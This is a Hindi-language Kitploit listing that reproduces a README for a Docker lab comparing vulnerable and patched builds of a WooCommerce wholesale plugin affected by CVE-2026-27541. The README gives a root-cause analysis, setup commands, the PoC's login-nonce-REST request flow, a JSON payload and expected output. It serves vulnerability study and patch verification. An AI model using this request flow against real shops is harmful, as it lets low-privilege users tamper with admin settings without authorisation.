Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-27541-Analysis-Lab — # CVE-2026-27541 के पुनरुत्पादन हेतु Docker लैब WooCommerce Wholesale Prices में प्रमाणित विशेषाधिकार वृद्धि (authenticated privilege escalation) की भेद्यता को दोहराने के लिए Docker लैब। इसमें असुरक्षित (vulnerable) और पैच किए गए (patched) बिल्ड की तुलना की गई है, साथ ही PoC स्क्रिप्ट और रूट कॉज़ विश्लेषण (root cause analysis) भी शामिल है। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

# CVE-2026-27541 के पुनरुत्पादन हेतु Docker लैब WooCommerce Wholesale Prices में प्रमाणित विशेषाधिकार वृद्धि (authenticated privilege escalation) की भेद्यता को दोहराने के लिए Docker लैब। इसमें असुरक्षित (vulnerable) और पैच किए गए (patched) बिल्ड की तुलना की गई है, साथ ही PoC स्क्रिप्ट और रूट कॉज़ विश्लेषण (root cause analysis) भी शामिल है।

साझा करें

CVE-2026-27541 — WooCommerce Wholesale Prices प्रमाणित विशेषाधिकार वृद्धि लैब

vulnx

अवलोकन

यह प्रोजेक्ट WooCommerce Wholesale Prices / Wholesale Suite प्लगइन में CVE-2026-27541 के व्यवहार का विश्लेषण और पुनरुत्पादन करने के लिए एक स्थानीय Docker लैब है, जिसमें असुरक्षित और पैच किए गए बिल्ड की एक ही मशीन पर साथ-साथ तुलना की जाती है।

मुख्य समस्या निम्नलिखित REST API एंडपॉइंट में Broken Access Control है:

root@kitploit:~
/wp-json/wwp/v1/admin/save

इस लैब में उपयोग किए गए सोर्स कोड के आधार पर, उस रूट में असुरक्षित और पैच किए गए दोनों बिल्ड में पहले से ही permission_callback मौजूद है। हालाँकि, प्रभावित संस्करण एक क्षमता जाँच का उपयोग करता है जो एडमिन सेटिंग्स लिखने की क्रिया के लिए बहुत व्यापक है:

  • असुरक्षित (2.2.6) → current_user_can( 'manage_woocommerce' )
  • पैच किया गया (2.2.7) → current_user_can( 'manage_options' )
  • इस लैब में, उपयोगकर्ता shopmgr, जिसके पास shop_manager भूमिका है, के पास manage_woocommerce=true है लेकिन manage_options नहीं है। परिणामस्वरूप, यह निम्न-विशेषाधिकार वाला उपयोगकर्ता एक वैध लॉग-इन सत्र और एक वैध X-WP-Nonce का उपयोग करके असुरक्षित बिल्ड पर एडमिन सेटिंग्स सेव एंडपॉइंट को कॉल कर सकता है, जबकि पैच किया गया बिल्ड उसी अनुरोध के लिए 403 rest_forbidden लौटाता है।


    यह लैब क्या साबित करता है

    • असुरक्षित नोड (2.2.6): उपयोगकर्ता shopmgr सफलतापूर्वक POST /wp-json/wwp/v1/admin/save को कॉल कर सकता है और प्लगइन सेटिंग्स को संशोधित कर सकता है।
    • पैच किया गया नोड (2.2.7): shopmgr से वही अनुरोध 403 के साथ अस्वीकार कर दिया जाता है।
    • बिना प्रमाणीकरण वाला अनुरोध: यदि एंडपॉइंट को बिना प्रमाणीकरण के सीधे कॉल किया जाता है, तो दोनों बिल्ड 403 लौटाते हैं, जो यह दर्शाता है कि यह एक पोस्ट-प्रमाणीकरण विशेषाधिकार वृद्धि समस्या है।
    • स्थिरता प्रमाण: सफल PoC रन के बाद, असुरक्षित बिल्ड WordPress विकल्प wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC संग्रहीत करता है, जबकि पैच किया गया बिल्ड अभी भी See wholesale prices लौटाता है।

    लैब टोपोलॉजी

    सेवाएँ

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → अलग-अलग MariaDB डेटाबेस
    • seed-vuln / seed-patched → wp-cli सीड जॉब जो WordPress स्थापित करते हैं, प्लगइन स्थापित करते हैं, उपयोगकर्ता बनाते हैं, और परीक्षण के लिए एक उत्पाद बनाते हैं

    प्रकाशित पोर्ट

    • http://localhost:8081 → असुरक्षित
    • http://localhost:8082 → पैच किया गया

    बेस इमेज

    • WordPress: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • Seeder: wordpress:cli-php8.2

    रिपॉजिटरी संरचना

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    महत्वपूर्ण फ़ाइलें

    • docker-compose.yml — अलग-अलग डेटाबेस के साथ असुरक्षित और पैच किए गए स्टैक को परिभाषित करता है
    • scripts/seed-wp.sh — WordPress, WooCommerce, लक्षित प्लगइन स्थापित करता है, और परीक्षण उपयोगकर्ता और उत्पाद डेटा बनाता है
    • poc.py — लॉगिन, नॉन्स निष्कर्षण, और REST एंडपॉइंट आह्वान के लिए न्यूनतम-हानि PoC

    सीडेड वातावरण

    एक बार स्टैक तैयार हो जाने पर, सीड स्क्रिप्ट निम्नलिखित बनाती है:

    उपयोगकर्ता

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    उत्पाद

    • slug: lab-product
    • नियमित मूल्य: 100
    • थोक मूल्य: 50

    संस्करण

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • असुरक्षित: 2.2.6
      • पैच किया गया: 2.2.7

    स्क्रिप्ट प्रत्येक WordPress कंटेनर में lab-secrets.json भी लिखती है ताकि सीडेड डेटा और संस्करण जानकारी सत्यापित की जा सके।


    PoC न्यूनतम-हानि क्यों है

    यह PoC साइट पर कब्ज़ा करने, भूमिकाएँ बदलने, प्लगइन स्थापित करने, या शेल निष्पादित करने का प्रयास नहीं करता है।

    यह केवल निम्नलिखित करता है:

    1. shopmgr के रूप में लॉग इन करता है
    2. wpApiSettings.nonce निकालने के लिए संबंधित एडमिन पेज पर जाता है
    3. लक्षित एंडपॉइंट पर एक अनुरोध भेजता है
    4. एक आसानी से देखने योग्य सेटिंग मान बदलता है:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    यह सेटिंग एक अवलोकनीय मार्कर के रूप में उपयोग की जाती है ताकि यह प्रदर्शित किया जा सके कि एक निम्न-विशेषाधिकार वाला उपयोगकर्ता केवल-एडमिन कॉन्फ़िगरेशन को संशोधित कर सकता है।


    भेद्यता सारांश

    प्रभावित घटक

    • प्लगइन: WooCommerce Wholesale Prices / Wholesale Suite
    • रूट: POST /wp-json/wwp/v1/admin/save

    भेद्यता वर्ग

    • Broken Access Control
    • प्रमाणित विशेषाधिकार वृद्धि

    व्यावहारिक अर्थ

    हालाँकि एंडपॉइंट को एक वैध सत्र और नॉन्स की आवश्यकता होती है, असुरक्षित संस्करण अभी भी shop_manager भूमिका वाले shopmgr जैसे निम्न-विशेषाधिकार वाले उपयोगकर्ता को एक एंडपॉइंट को कॉल करने की अनुमति देता है जो केवल-एडमिन होना चाहिए।

    महत्वपूर्ण बारीकियाँ

    यह अप्रमाणित भेद्यता नहीं है।

    यदि एंडपॉइंट को बिना लॉग-इन सत्र के सीधे कॉल किया जाता है, तो असुरक्षित और पैच किए गए दोनों बिल्ड अनुरोध को अस्वीकार कर देते हैं। बग प्रमाणीकरण के बाद प्राधिकरण में मौजूद है, प्रमाणीकरण में ही नहीं।


    मूल कारण विश्लेषण

    असुरक्षित संस्करण में permission_callback गायब नहीं है। दोष यह है कि यह एक REST क्रिया के लिए बहुत व्यापक क्षमता जाँच (manage_woocommerce) का उपयोग करता है जो एडमिन-पक्ष सेटिंग्स लिखती है।

    includes/class-wwp-admin-settings.php में सोर्स कोड से:

    • असुरक्षित और पैच किए गए दोनों बिल्ड एक ही रूट पंजीकृत करते हैं: POST /wp-json/wwp/v1/admin/save
    • दोनों बिल्ड इसे save_registered_settings() पर रूट करते हैं
    • दोनों बिल्ड permission_admin_check() को permission_callback के रूप में उपयोग करते हैं
    • वास्तविक अंतर जाँची जा रही क्षमता है

    असुरक्षित (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    पैच किया गया (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    इस लैब में, उपयोगकर्ता shopmgr, जिसके पास shop_manager भूमिका है, के पास manage_woocommerce=true है लेकिन manage_options नहीं है, इसलिए यह असुरक्षित जाँच को पार कर जाता है लेकिन पैच की गई जाँच में विफल हो जाता है।

    पैच किए गए व्यवहार में क्या बदला

    पैच किया गया संस्करण केवल प्रतिक्रिया को 200 से 403 में बदलने से अधिक करता है। यह क्षमता आवश्यकता को manage_woocommerce से manage_options तक कस कर एक्सेस-कंट्रोल तर्क को बदलता है।

    इसके अलावा, पैच किए गए बिल्ड में सेव पथ को उपसर्ग-आधारित फ़िल्टरिंग से हटकर स्पष्ट allowlist और मजबूत सैनिटाइज़ेशन की ओर बढ़ाकर और अधिक सख्त किया गया है।

    PoC असुरक्षित पर क्यों सफल होता है

    PoC एक वास्तविक ब्राउज़र संदर्भ के समान प्रवाह का अनुसरण करता है:

    • shopmgr के रूप में लॉग इन करें
    • प्लगइन सेटिंग्स पेज खोलें
    • wpApiSettings.nonce निकालें
    • POST /wp-json/wwp/v1/admin/save को कॉल करें

    क्योंकि असुरक्षित बिल्ड manage_woocommerce वाले उपयोगकर्ताओं को इस सेटिंग्स लिखने की क्रिया को कॉल करने की अनुमति देता है, अनुरोध सफल होता है और एक स्थायी विकल्प परिवर्तन में परिणाम देता है।

    सुरक्षा सबक

    एक nonce CSRF से सुरक्षा में मदद करता है, लेकिन यह प्राधिकरण नियंत्रण नहीं है।

    एक वैध सत्र और एक वैध नॉन्स होने का मतलब यह नहीं है कि उपयोगकर्ता को एडमिन क्रिया करने की अनुमति दी जानी चाहिए। एक विशेषाधिकार प्राप्त एंडपॉइंट पर अत्यधिक व्यापक क्षमता का उपयोग करना निम्न-विशेषाधिकार प्राधिकरण बाईपास बनाने के लिए पर्याप्त है।


    लैब का पुनरुत्पादन

    पूर्वापेक्षाएँ

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • प्रारंभिक इमेज और प्लगइन डाउनलोड के लिए इंटरनेट एक्सेस

    1) लैब प्रारंभ करें

    root@kitploit:~
    docker compose up -d --build
    

    2) कंटेनर चालू हैं यह पुष्टि करें

    root@kitploit:~
    docker compose ps
    

    आपको कम से कम निम्नलिखित देखना चाहिए:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) सीडिंग लॉग देखें

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) सीडेड मेटाडेटा का निरीक्षण करें

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    PoC वॉकथ्रू

    poc.py निम्नानुसार काम करता है:

    1. GET /wp-login.php

    2. एक प्रमाणित सत्र स्थापित करने के लिए POST /wp-login.php

    3. प्लगइन एडमिन पेज खोलें:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. HTML/JavaScript से wpApiSettings.nonce और REST रूट निकालें

    5. निम्नलिखित पर एक अनुरोध भेजें:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. पेलोड सबमिट करें:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    PoC चलाएँ

    असुरक्षित नोड

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    पैच किया गया नोड

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    अपेक्षित परिणाम

    असुरक्षित (8081)

    अपेक्षित आउटपुट:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    पैच किया गया (8082)

    अपेक्षित आउटपुट:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    मैन्युअल सत्यापन

    UI सत्यापन

    असुरक्षित नोड पर PoC सफल होने के बाद:

    1. लॉग आउट करें या एक इनकॉग्निटो विंडो खोलें
    2. उत्पाद पेज या स्टोरफ्रंट पेज खोलें जो प्रतिस्थापन टेक्स्ट प्रदर्शित करता है
    3. निम्नलिखित देखें:
    root@kitploit:~
    PWNED_BY_POC
    

    सुरक्षा प्रभाव

    इस बग वर्ग का व्यावहारिक प्रभाव यह है कि एक निम्न-विशेषाधिकार वाला उपयोगकर्ता उस कॉन्फ़िगरेशन को संशोधित कर सकता है जो केवल-एडमिन होना चाहिए, जो सीधे निम्नलिखित की ओर ले जा सकता है:

    • सामग्री छेड़छाड़
    • फ्रंटएंड संदेश हेरफेर
    • व्यावसायिक तर्क दुरुपयोग

    यह लैब जानबूझकर एक सुरक्षित और अवलोकनीय पेलोड का उपयोग करता है ताकि भेद्यता की स्थिति को साबित करने के लिए आवश्यक से अधिक भूमिका परिवर्तन या कोई वृद्धि न हो।


    सफाई

    root@kitploit:~
    docker compose down -v
    

    सुरक्षा नोट्स

    • केवल स्थानीय लैब उपयोग के लिए
    • सभी सेवाएँ केवल localhost से बंधी हैं
    • PoC जानबूझकर न्यूनतम-हानि है और एक हानिरहित अवलोकनीय मान का उपयोग करता है
    • इस PoC को उन प्रणालियों के विरुद्ध उपयोग के लिए अनुकूलित न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है

    संदर्भ

    • CVE Record — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
    • WordPress.org Plugin Page — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    यह लैब दर्शाता है कि CVE-2026-27541 प्लगइन के REST API सेटिंग्स एंडपॉइंट में एक प्रमाणित निम्न-विशेषाधिकार प्राधिकरण बाईपास है। संस्करण 2.2.6 में दोष अनुमति जाँच की अनुपस्थिति नहीं है, बल्कि एक ऐसी क्रिया के लिए अत्यधिक व्यापक क्षमता (manage_woocommerce) का उपयोग है जो manage_options स्तर पर प्रतिबंधित होनी चाहिए।

    इस स्थानीय वातावरण में:

    • shopmgr असुरक्षित जाँच को पार कर जाता है और POST /wp-json/wwp/v1/admin/save के माध्यम से एडमिन-पक्ष सेटिंग्स को सफलतापूर्वक संशोधित कर सकता है
    • वही अनुरोध 2.2.7 पर अवरुद्ध है
    • असुरक्षित बिल्ड लक्षित विकल्प में PWNED_BY_POC बनाए रखता है, जबकि पैच किया गया बिल्ड नहीं रखता

    परिणामस्वरूप, यह रिपॉजिटरी पूरी तरह से नियंत्रित स्थानीय वातावरण में असुरक्षित बनाम पैच किए गए अंतर के व्यवहारिक प्रमाण और कोड-समर्थित प्रमाण दोनों के रूप में कार्य करती है।

    टूल डाउनलोड करें